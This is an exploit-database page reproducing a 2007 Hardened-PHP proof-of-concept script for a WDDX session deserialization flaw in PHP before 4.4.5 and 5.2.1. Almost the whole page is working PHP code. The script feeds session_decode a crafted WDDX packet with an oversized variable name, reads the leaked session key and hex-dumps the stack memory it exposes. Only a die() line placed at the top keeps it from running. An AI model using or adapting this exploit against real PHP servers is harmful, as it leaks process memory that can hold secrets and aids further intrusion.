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PHP < 4.4.5 / 5.2.1 WDDX Session Deserialization Information Leak
[=================================================================
PHP < 4.4.5 / 5.2.1 WDDX Session Deserialization Information Leak
=================================================================
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP WDDX Session Deserialization Stack Information Leak //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
if (!extension_loaded("wddx")) {
die("wddx extension needed\n");
}
ini_set("session.serialize_handler", "wddx");
session_start();
session_decode("<wddxPacket version='1.0'><header/><data><struct><var name='".str_repeat("A",8192)."'><string>A</string></var><var name='1'><string>1</string></var></struct></data></wddxPacket>");
$keys = array_keys($_SESSION);
$stackdump = $keys[1];
echo "Stackdump\n---------\n\n";
for ($b=0; $b<strlen($stackdump); $b+=16) {
printf("%08x: ", $b);
for ($i=0; $i<16; $i++) {
printf ("%02x ", ord($stackdump[$b+$i]));
}
for ($i=0; $i<16; $i++) {
$c = ord($stackdump[$b+$i]);
if ($c > 127 || $c < 32) {
$c = ord(".");
}
printf ("%c", $c);
}
printf("\n");
}
?>
# 0day.today [2024-12-24] #